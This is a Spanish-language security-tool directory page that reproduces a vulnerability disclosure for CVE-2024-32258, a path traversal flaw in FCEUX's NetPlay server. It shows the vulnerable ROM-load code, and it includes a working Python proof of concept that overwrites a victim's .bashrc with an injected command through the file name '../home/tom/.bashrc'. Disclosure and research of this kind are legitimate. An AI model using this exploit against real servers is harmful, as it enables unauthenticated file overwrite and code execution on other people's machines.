Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-32258 | Kitploit
Herramientas/GitHubGitHub/secnotes/cve-2024-32258
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y Educación
GitHubsecnotes/cve-2024-32258

CVE-2024-32258

Ver Repositorio
3hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Resumen

  • ID de CVE: CVE-2024-32258
  • Tipo: Path Traversal
  • Proveedor: FCEUX
  • Productos: FCEUX_NetPlay
  • Versión: 2.7.0
  • Corrección: 48b48e7c13be1b949074f42660a33c7ef57135e1

Descripción

FCEUX es un emulador de NES que puede llevarnos de vuelta a nuestra infancia. Proporciona múltiples funciones interesantes, como la posibilidad de que dos jugadores jueguen en línea.

El servidor y el cliente pueden pasarse ROMs entre sí, pero el servidor no filtra los caracteres especiales en los nombres de ROM enviados por el cliente. Esta vulnerabilidad de path traversal puede provocar que cualquier archivo del servidor sea sobrescrito. Aún más grave es que la carga remota de ROMs no requiere autenticación, incluso si la configuración del servidor exige una contraseña para iniciar sesión.

Fue introducida durante el commit 798c5a1d9c73b899cdbe3d613c0022588281979f - Para NetPlay, se añadió la capacidad de que el cliente solicite una ROM para cargar.

root@kitploit:~
if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

Tanto msf->fileName como fp son especificados por el atacante.

PoC

Puedes obtener fceux mediante la compilación del código fuente, o puedes usar directamente nuestro binario compilado. fceux.zip

PoC

root@kitploit:~
import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)

¡Diviértete! 😄

https://github.com/liyansong2018/CVE-2024-32258/assets/25031216/2c237254-3ff8-4690-b0ea-d413f6e8c48d

Severidad

Alta 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Autor

Yansong Li y Yijie Xun (Northwestern Polytechnical University)

Descargar herramienta
CVSS3.1PuntuaciónDetalle
ATTACK VECTORNetworklanzar el ataque a través de la red
ATTACK COMPLEXITYLowsolo hay que enviar dos mensajes
PRIVILEGES REQUIREDNoneno se requieren permisos para enviar el paquete de ataque
USER INTERACTIONRequirehacer clic en el botón de confirmación para cargar la ROM.
SCOPEUnchangedN/A
CONFIDENTIALITYHighsobrescritura arbitraria de archivos
INTEGRITYHighsobrescritura arbitraria de archivos
AVAILABILITYHighsobrescritura arbitraria de archivos